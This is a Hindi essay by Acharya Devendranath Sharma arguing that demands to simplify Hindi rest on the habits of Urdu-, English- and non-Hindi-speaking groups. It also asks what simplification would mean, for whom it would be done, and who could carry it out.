हिन्दी का सरलीकरण -आचार्य देवेंद्रनाथ शर्मा

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लेखक- आचार्य देवेंद्रनाथ शर्मा

          भाषा विज्ञान किसी भाषा को सरल या कठिन नहीं मानता, भाषा को केवल भाषा मानता है। सरलता कठिनता की बात भाषेत्तर तत्व करते हें। ‘जाकी रही भावना जैसी। प्रभु मूरति देखी तिन वैसी। के अनुसार हिन्दी की कठिनाईयाँ भी अपनी अपनी भावना से प्रसूत हैं। इसलिए उनका कोई समाधान संभव नही है।
          एक वर्ग संस्कृत निष्ठता के कारण हिन्दी को कठिन कहता है। इस वर्ग में उर्दूदाँ आते हैं। हिन्दी और उर्दू के व्याकरण में कोई अन्तर नहीं है। अतः इस वर्ग का असंतोष व्याकरण को लेकर नहीं हिन्दी के शब्द भंडार को लेकर हैं। इस वर्ग को देश कठिन मालूम होता है, मुल्क आसान, प्रजातंत्र कठिन, जमहूरियत आसान, जनता कठिन, अवाम आसान, उन्नति कठिन, तरक्की आसान, उत्सव कठिन, जलसा आसान। हिन्दी के शब्दों के बदले यदि अरबी फारसी के शब्द रख जाएँ तो इस वर्ग को हिन्दी से कोई शिकायत नहीं होगा।
          हिन्दी को कठिन कहने वाला दूसरा वर्ग उनका है, जो अंग्रेजीदाँ है अर्थात बाबू या साहब हैं। ये लोग अंग्रेजी शासन-तंत्र के अंग रहे अंग्रेजी पढ़ी ही इसलिए कि वह शासन की भाषा रही। इन्हे दफ्तर की भाषा की बनी बनाई लीक का अभ्यास हो गया है, इसलिए उसमें काम करने में इन्हें असुविधा नहीं होती। अभ्यस्त लीक से जरा भी इधर उधर चलने में इन्हें असुविधा होने लगती है। हिन्दी शब्दों के प्रयोग में जो थोड़ा बहुत आयास अपेक्षित है, वह इन्हें कष्टकर प्रतीत होता है। अतएव ये हिन्दी का विरोध करते हैं। इन्हें प्रेसिडेंट, प्राइम मिनिस्टर, पार्लियामेंट, मिनिष्ट्री आफ एक्सटर्नल अफेएर्स, मिनिष्ट्री ऑफ़ अनफारमेशन एंड ब्राडकास्टिंग, मिनिस्ट्री आफ ट्रांसपोर्ट एंड कम्यूनिकेशन, एसेम्बली, कौंसिल, डिपार्टमेंट, सेक्रेटरी, डायरेक्टर, कमेटी, मीटिंग, सेशन, फाइल, आर्डर आदि शब्द इतने मंजे हैं कि राष्ट्रपति, प्रधानमंत्री, संसद, विदेश मंत्रालय, सूचना और प्रसारण मंत्रालय, परिवहन और संचार मंत्रालय, परिवहन, सचिव, निदेशक, समिति, बैठक, सत्र, संचिका, आदेश आदि शब्द अजनबी अर्थात कठिन लगते हैं। अंग्रेजी को कायम रखने के लिए यही वर्ग सब से अधिक सचेष्ट है और चूँकि अधिकार इन्हीं के हाथों में है, इसलिए हिन्दी की प्रगति को रोकना इनके लिए आसान भी है।
          इस वर्ग में वे अध्यापक भी है, जो अंग्रेजी माध्यम से शिक्षा पाए हुए है और अंग्रेजी में पढ़ाते भी हैं। दर्शन, अर्थशास्त्री, मनोविज्ञान, भौतिकविज्ञान, जीवविज्ञान, आयुर्विाान, अभियांत्रिका आदि विषयों की अपनी अपनी पारिभाषिक शब्दावली है जो वर्षों के सतत प्रयोग से इन्हें आत्मसात हो चुकी है। अब अंग्रेजी को छोड़ हिन्दी को अपनाने का अर्थ है उस समस्त शब्दावली का परित्याग और नवीन शब्दावली पर अधिकार करने का प्रयास, जो स्पष्ट ही श्रमसाध्य है और श्रम से बचना मनुष्य की सहज प्रवृति होती है।
          हिन्दी की कठिनाई का तीसरा आधार है उसका व्याकरण। हिन्दी को इस दृष्टि से कठिन कहने वाले वे लोग हैं जो हिन्दीतर भाषाभाषी है। इनके अनुसार हिन्दी की जटिलता में दो उल्लेख है एक तो ‘ने’ का प्रयोग और दूसरी लिंग व्यवस्था।
          कुछ लोगों को लिपि के कारण भी हिन्दी कठिन प्रतीत होती है। देवनागरी लिपि की वैज्ञानिकता को लेकर आज तक दो रायें नहीं हुई। संसार में आज जितनी भी लिपियाँ प्रचलित हैं, उनमें देवनागरी सर्वोत्तम मानी जाती है। स्वनिम और संकेत का अर्थात ध्वनि और लेखन का निर्भात सहसबंध भी बहुतों को देवनागरी का दोष प्रतीत होता है।
          कहने की आवश्यकता नहीं कि इनमें एक भी वास्तविक कठिनाई नहीं है। अपने अपने संस्कार, परम्परा और अभ्यास के आधार पर ये कल्पित या आरोपित हैं।
          इन बातों की पृष्ठभूमि में सरलीकरण संबंधी कुछ प्रश्न उठतें हैं।
1. सरलीकरण का अर्थ क्या है?
2. सरलीकरण किसके लिए?
3. सरलीकरण कौन करे?
          हमने ऊपर देखा कि हिन्दी कोई एक कठिनाई नहीं है। कठिनाई एक न होने से सरलीकरण का मार्ग भी एक नहीं हो सकता। जिन्हें अरबी-फारसी के शब्द अभिमत हैं, उन्हें अंग्रेजी के शब्दों से संतोष नहीं होगा और जिन्हें अंग्रेजी शब्दों का अभ्यास है, उनकी कठिनाई अरबी-फारसी के शब्दों से नहीं मिटेगी, फिर भारत की सभी भाषाएँ, संस्कृति निष्ठ हैं क्योंकि संस्कृत यहाँ के साहित्य, संस्कृति, धर्म, दर्शन, कला, इतिहास की भाषा रही है। इसलिए हिन्दी की संस्कृतनिष्ठता उसकी बोधगम्यता की अनिवार्य पक्ष है। इसका यह अर्थ नहीं कि अरबी फारसी या अंग्रेजी के प्रचलित शब्दों को भी हटा कर उनकी जगह अप्रचलित शब्दों का व्यवहार किया जाए किंतु मूलतः भाषा संस्कृतनिष्ठ ही रखनी होगी।
          कठिनाई की चर्चा के प्रसंग में एक बात प्रायः भुला दी जाती है कि भाषा का रूप विषय के अनुसार सरल या कठिन हुआ करता है। जिस प्रकार तरल वस्तु का अपना कोई आकार नहीं होता, उसे जैसे पात्र में रखा जाता है वैसा ही उसका आकार हो जाता है, उसी प्रकार भाषा का भी निश्चित रूप नहीं होता। दर्शन की भाषा वैसी नहीं होती जैसे अखबार की और न साहित्यालोचन की भाषा वह होती है जो विज्ञापन की। लेखक की रुचि, प्रवृति, संस्कार, अध्ययन आदि से भी भाषा में रूपभेद हुआ करता है। प्रेमचंद और प्रसाद दोनों हिन्दी के लेखक हैं, पर गोदान और तितली की भाषा का अंतर किसी पाठक से छिपा नहीं है।
          सरलता के आग्रही यह भी भूल जाते हैं कि सरलता किसके लिए? जिस तरह लेखकों का एक स्तर नहीं होता उसी तरह पाठकों का भी एक स्तर नहीं होता। तब किस स्तर के पाठक को ध्यान में रखकर सरलीकरण किया जाए? साक्षर से लेकर विद्वान तक पाठकों की श्रेणी में आते हैं। और भी भाषा सरल कर देने से ही विषय सरल हो जाएगा? अद्वैतवाद, विर्वतवाद, परिणामवाद, सपेक्षवाद, रसवाद आदि को चालू भाषा में इन्हें क्या लिखा भी जा सकता है? जब भी विचित्र विरोधाभास है कि सरलीकरण की अर्थात भाषा का स्तर गिराने की तो माँग की जाती है किंतु पाठक का स्तर उठाने की चिंता किसी को नहीं है। प्रत्येक अंग्रेजी भाषी हवाइटहेड का दर्शन और इलियट की कविता नहीं समझता पर हिन्दी में जो कुछ लिखा जाए, उसे सभी समझ जाएँ, यह ऐसा अव्यावहारिक आग्रह है, जिसका कोई समाधान नहीं। वस्तुतः सरलीकरण शब्द सुनने में जितना सरल मालूम होता है, उतना सरल है नहीं। सच तो यह है कि लेखक, पाठक और विषय से निरपेक्ष उसकी सत्ता ही नहीं है। एक बात और याद रखनी चाहिए। भाषा कोई ऐसी चीज नहीं है जिसे, जैसे चाहें, काट-छांट दें। भाषा की अर्थात उसके शब्द भंडार की, व्याकरण की एक विकास परंपरा होती है, जो बहुत कुछ जैव (आर्गेनिक) विकास से मिलती जुलती है। जैसे किसी मनुष्य का सरलीकरण उसके हाथ, पैर या सिर काट कर नहीं कर सकते, वैसे ही भाषा का सरलीकरण भी से बिना विकलांग किए संभव नहीं है। अंग्रेजी की कठिनाइयाँ हिन्दी की तुलना में कहीं अधिक है वर्तनी की अवैज्ञानिकता और अस्वाभाविकता तो सर्वसम्मत है - पर उसके सरलीकरण की आवाज किसी ने कभी नहीं उठाई, न इस देश में और न उन देशों में जहाँ की वह भाषा है, क्योंकि भाषा का सरलीकरण ऐसा वायवीय प्रश्न है जिसे ठोस रूप देना आशका है।
          तीसरा प्रश्न कि सरलीकरण कौन करे? कोई व्यक्ति, संस्था या सरकार? किसी व्यक्ति का कहना, वह कितना भी समर्थ क्यों न हो, नहीं चल सकता। महात्मा गाँधी जैसे व्यक्ति ने भाषा के संबंध में जो कुछ कहा, उसे साहित्यिकों ने तो नहीं माना, स्वयं उनके अनुयायियों में भी अनेक ने नहीं माना। जब महात्मा गाँधी का कहना नहीं चल सका तो किसका चलेगा? अब रही बात किसी संस्था की, तो इसमें भी वही कठिनाई है। संस्थाएँ अनेक हैं और परस्पर रागद्वेष की भी कमी नहीं है। यह भार कौन उठाए और उठाए भी तो उसके नियमन की बाध्यता क्या है? बची सरकार, तो उसके निर्णयों का भी विरोध होता है, जोरदार विरोध होता है। और जिसे सरकार कहते हैं वह व्यक्तियों के समूह के अतिरिक्त है भी क्या? इसलिए ले दे कर बात वहीं की वहीं रह जाती है। तात्पर्य कि सरलीकरण की माँग सैद्वांतिक रूप में चाहे जितनी भी सरल हो, व्यावहारिक रूप में उतनी ही कठिन है।

टीका टिप्पणी और संदर्भ

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